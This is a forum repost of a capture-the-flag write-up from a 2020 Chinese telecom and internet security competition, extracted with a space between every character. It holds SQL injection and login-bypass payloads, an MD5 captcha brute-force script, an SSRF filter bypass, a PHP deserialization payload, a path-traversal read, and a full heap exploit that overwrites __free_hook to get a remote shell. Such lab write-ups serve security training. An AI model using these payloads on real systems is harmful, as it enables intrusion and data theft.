搜索

[18943] 2020-11-07_2020全国电信和互联网行业网络安全管理职业技能竞赛wp

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2020-11-07_2020全国电信和互联网行业网络安全管理职业技能竞赛wp 2 0 2 0 全 国 电 信 和 互 联 网 行 业 网 络 安 全 管 理 职 业 技 能 竞 赛 w p 原 创   R H a c k e r   I D L a b   2 0 2 0 - 1 1 - 0 7 1 . S q l m a p 可 以 直 接 跑 出 表 为 f l a g ， 但 是 列 名 跑 不 出 来 。 手 工 看 可 以 发 现 是 报 错 注 入 ， 直 接 利 用 u p d a t e x m l 函 数 进 行 注 入 就 o k ， 2 . 用 常 规 的 u p d a t e x m l 函 数 来 注 入 ， 可 以 看 到 f l a g e a s y _ s q l e a s y _ s q l e a s y _ s q l
3 . 但 是 看 不 到 全 的 f l a g ， 直 接 利 用 m i d 函 数 来 看 后 半 部 分 就 o k 4 . 最 终 f l a g 为 ： f l a g { c 7 6 5 1 c b 6 7 3 c 9 1 1 e e 8 f 9 9 7 7 0 9 4 a 2 2 0 f 1 7 } 1 .   可 以 看 到 w a f 过 滤 的 很 全 ， 没 法 过 ， 但 是 发 现 只 是 过 滤 的 p a s s w o r d ， U s e r n a m e 是 没 有 过 滤 的 。 e z s q l i e z s q l i e z s q l i
2 .   所 以 直 接 可 以 通 过 账 号 ： ' u n i o n   s e l e c t   1 , ' a d m i n ' , ' t e s t ' #     密 码 ： t e s t   来 进 行 绕 过 。 f l a g { d e 3 1 1 0 d c e 0 1 1 0 8 8 c d 4 a d d 1 9 5 0 a 4 9 1 8 2 f } 1 . 主 要 是 过 验 证 码 一 关 ， 需 要 输 入 的 验 证 码 的 m d 5 最 后 6 位 数 需 要 的 等 于 一 个 随 机 数 ， 爆 破 一 下 就 能 得 到 答 案 ， 下 面 是 爆 破 脚 本 ： s s r f s s r f s s r f
2 . 因 为 是 s s r f ， 所 以 可 以 通 过 f i l e 协 议 进 行 任 意 文 件 读 写 ， 但 是 直 接 读 f l a g 发 现 有 个 h a c k e r ， 说 明 有 过 滤 ， 最 后 通 过 双 重 u r l 编 码 绕 过 。 i m p o r t   h a s h l i b f r o m   m u l t i p r o c e s s i n g . d u m m y   i m p o r t   P o o l   a s   T h r e a d P o o l d e f   m d 5 ( s ) :     #   计 算 M D 5 字 符 串         r e t u r n   h a s h l i b . m d 5 ( s t r ( s ) . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) k e y m d 5   =   ' 3 e 3 0 2 1 '       # 已 知 的 m d 5 截 断 值 m d 5 s t a r t   =   0       #   设 置 题 目 已 知 的 截 断 位 置 m d 5 l e n g t h   =   6 d e f   f i n d m d 5 ( s s s ) :         #   输 入 范 围   里 面 会 进 行 m d 5 测 试         k e y   =   s s s . s p l i t ( ' : ' )         s t a r t   =   i n t ( k e y [ 0 ] )       #   开 始 位 置         e n d   =   i n t ( k e y [ 1 ] )         #   结 束 位 置         r e s u l t   =   0         f o r   i   i n   r a n g e ( s t a r t ,   e n d ) :                 #   p r i n t ( m d 5 ( i ) [ m d 5 s t a r t : m d 5 l e n g t h ] )                 i f   m d 5 ( i ) [ - 6 : ]   = =   k e y m d 5 :                         #   拿 到 加 密 字 符 串                         r e s u l t   =   i                         p r i n t ( r e s u l t )         #   打 印                         b r e a k                         l i s t = [ ]     #   参 数 列 表 f o r   i   i n   r a n g e ( 1 0 ) :       #   多 线 程 的 数 字 列 表   开 始 与 结 尾         l i s t . a p p e n d ( s t r ( 1 0 0 0 0 0 0 0 * i )   +   ' : '   +   s t r ( 1 0 0 0 0 0 0 0 * ( i + 1 ) ) ) p o o l   =   T h r e a d P o o l ( )         #   多 线 程 任 务 p o o l . m a p ( f i n d m d 5 ,   l i s t )   #   函 数   与 参 数 列 表 p o o l . c l o s e ( ) p o o l . j o i n ( )
f l a g { 8 f 6 2 d 7 5 d e 5 b 5 1 d 6 9 7 9 9 7 9 0 c d f 2 c f 0 5 d 4 } 1 .   下 载 附 件 ， 发 现 有 反 序 列 化 ， 很 简 单 ， 直 接 写 序 列 化 代 码 ， 然 后 u s e r n a m e 或 者 p a s s w o r d 写 个 万 能 密 码 ， 就 能 使 得 密 码 和 账 号 相 等 了 （ p s ： t a b l e   嫌 重 新 构 造 s q l 语 句 麻 烦 ， 就 盲 猜 了 下 ， 发 现 是 对 的 ） w a r m u p w a r m u p w a r m u p < ? p h p c l a s s   S Q L   {         p u b l i c   $ t a b l e   =   ' ' ;         p u b l i c   $ u s e r n a m e   =   ' ' ;         p u b l i c   $ p a s s w o r d   =   ' ' ;         p u b l i c   $ c o n n ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > t a b l e   =   ' u s e r s ' ;                 $ t h i s - > p a s s w o r d   =   " ' o r   1   o r ' 1 " ;         } } e c h o   s e r i a l i z e ( n e w   S Q L ) ; e c h o   P H P _ E O L ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( n e w   S Q L ) ) ;
S e c r e t G u e s s S e c r e t G u e s s S e c r e t G u e s s C V E - 2 0 1 7 - 1 4 8 4 9 漏 洞 f l a g 在   s t a t i c / . . / . . / f o o / . . / . . / . . / u s r / l o c a l / a p p / . e n v n o t e p l u s n o t e p l u s n o t e p l u s
漏 洞 在 于 e d i t 函 数 中 只 写 8 b y t e s 以 后 的 部 分 ， 逻 辑 判 断 存 在 问 题 ， 如 果 s i z e 小 于 8 ， 则 可 以 一 直 写 入 数 据 ， 导 致 覆 盖 。 由 于 l i b c 是 2 . 2 7 ， 所 以 有 t c a c h e b i n ， 因 此 e x p 思 路 就 是 先 创 建 几 个 c h u n k ， 然 后 释 放 掉 直 到 第 8 次 释 放 ， 就 会 被 放 到 u n s o r t e d b i n 中 ， 然 后 用 前 面 的 c h u n k 覆 盖 0 x 1 8 字 节 后 就 可 以 泄 露 l i b c 的 基 址 ， 然 后 再 通 过 t c a c h e b i n 攻 击 修 改 f r e e h o o k 为 s y s t e m ， 最 后 f r e e 一 个 / b i n / s h 就 可 以 g e t   s h e l l 。 攻 击 效 果 ：
f r o m   P w n C o n t e x t   i m p o r t   * # c o n t e x t . l o g _ l e v e l   =   " d e b u g " c t x . b i n a r y   =   ' . / n o t e p l u s ' c t x . r e m o t e   =   ( ' 1 2 1 . 3 6 . 2 4 5 . 2 1 3 ' , 2 3 3 3 3 ) # c t x . c u s t o m _ l i b _ d i r   =   ' / h o m e / t e s t / t o o l s / g l i b c - a l l - i n - o n e / l i b s / 2 . 2 7 - 3 u b u n t u 1 _ a m d 6 4 / ' # e = E L F ( c t x . c u s t o m _ l i b _ d i r + ' l i b c . s o . 6 ' ) c t x . r e m o t e _ l i b c   =   ' . / l i b c - 2 . 2 7 . s o ' e = c t x . r e m o t e _ l i b c m a l l o c _ h o o k = e . s y m b o l s [ ' _ _ m a l l o c _ h o o k ' ] r e a l l o c = e . s y m b o l s [ ' r e a l l o c ' ] f r e e _ h o o k = e . s y m b o l s [ ' _ _ f r e e _ h o o k ' ] p u t s = e . s y m b o l s [ ' p u t s ' ] s y s t e m = e . s y m b o l s [ ' s y s t e m ' ] c t x . b r e a k p o i n t s   =   [ 0 x 1 4 C 8 ] c t x . d e b u g _ r e m o t e _ l i b c   =   T r u e # c t x . s t a r t ( ) c t x . s t a r t ( ' r e m o t e ' ) # c t x . d e b u g ( ) d e f   N e w n o t e ( I n d e x , S i z e ) :         c t x . s e n d l i n e a f t e r ( " r   c h o i c e : " , " 1 " )         c t x . s e n d l i n e a f t e r ( " I n d e x : " , I n d e x )         c t x . s e n d l i n e a f t e r ( " S i z e : " , S i z e ) d e f   D e l e t e n o t e ( I n d e x ) :         c t x . s e n d l i n e a f t e r ( " r   c h o i c e : " , " 2 " )         c t x . s e n d l i n e a f t e r ( " I n d e x : " , I n d e x )
d e f   E d i t n o t e ( I n d e x , C o n t e n t ) :         c t x . s e n d l i n e a f t e r ( " r   c h o i c e : " , " 3 " )         c t x . s e n d l i n e a f t e r ( " I n d e x : " , I n d e x )         c t x . s e n d l i n e a f t e r ( " C o n t e n t : " , C o n t e n t ) d e f   V i e w n o t e ( I n d e x ) :         c t x . s e n d l i n e a f t e r ( " r   c h o i c e : " , " 4 " )         c t x . s e n d l i n e a f t e r ( " I n d e x : " , I n d e x ) N e w n o t e ( ' 0 ' , " 1 " ) N e w n o t e ( ' 1 ' , " 1 " ) N e w n o t e ( ' 2 ' , " 1 " ) N e w n o t e ( ' 3 ' , " 1 2 8 " ) N e w n o t e ( ' 4 ' , " 1 2 8 " ) N e w n o t e ( ' 5 ' , " 1 2 8 " ) N e w n o t e ( ' 6 ' , " 1 2 8 " ) N e w n o t e ( ' 7 ' , " 1 2 8 " ) N e w n o t e ( ' 8 ' , " 1 2 8 " ) N e w n o t e ( ' 9 ' , " 1 2 8 " ) N e w n o t e ( ' 1 0 ' , " 1 2 8 " ) N e w n o t e ( ' 1 1 ' , " 1 " ) D e l e t e n o t e ( ' 1 0 ' ) D e l e t e n o t e ( ' 9 ' ) D e l e t e n o t e ( ' 8 ' ) D e l e t e n o t e ( ' 7 ' ) D e l e t e n o t e ( ' 6 ' ) D e l e t e n o t e ( ' 5 ' ) D e l e t e n o t e ( ' 4 ' ) D e l e t e n o t e ( ' 3 ' ) E d i t n o t e ( ' 2 ' , ' x ' * 0 x 1 7 ) V i e w n o t e ( ' 2 ' ) c t x . r e c v u n t i l ( ' x ' * 0 x 1 7 + ' n ' ) l i b c _ b a s e = ( u 6 4 ( c t x . r e c v ( 6 ) . l j u s t ( 8 , ' x 0 0 ' ) ) - m a l l o c _ h o o k - 0 x 5 8 ) & 0 x f f f f f f f f f 0 0 0 l o g . i n f o ( ' l i b _ b a s e   @   0 x % 0 8 x ' % l i b c _ b a s e ) E d i t n o t e ( ' 2 ' , 2 * p 6 4 ( 0 ) + p 6 4 ( 0 x 9 1 ) ) D e l e t e n o t e ( ' 1 ' ) E d i t n o t e ( ' 0 ' , 2 * p 6 4 ( 0 ) + p 6 4 ( 0 x 2 1 ) + p 6 4 ( l i b c _ b a s e + f r e e _ h o o k - 8 ) ) N e w n o t e ( ' 1 2 ' , ' 1 ' ) N e w n o t e ( ' 1 3 ' , ' 1 ' ) E d i t n o t e ( ' 1 3 ' , p 6 4 ( l i b c _ b a s e + s y s t e m ) ) N e w n o t e ( ' 1 4 ' , ' 1 ' ) E d i t n o t e ( ' 0 ' , p 6 4 ( 0 ) * 7 + ' / b i n / s h x 0 0 ' ) D e l e t e n o t e ( ' 2 ' ) c t x . i n t e r a c t i v e ( )

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理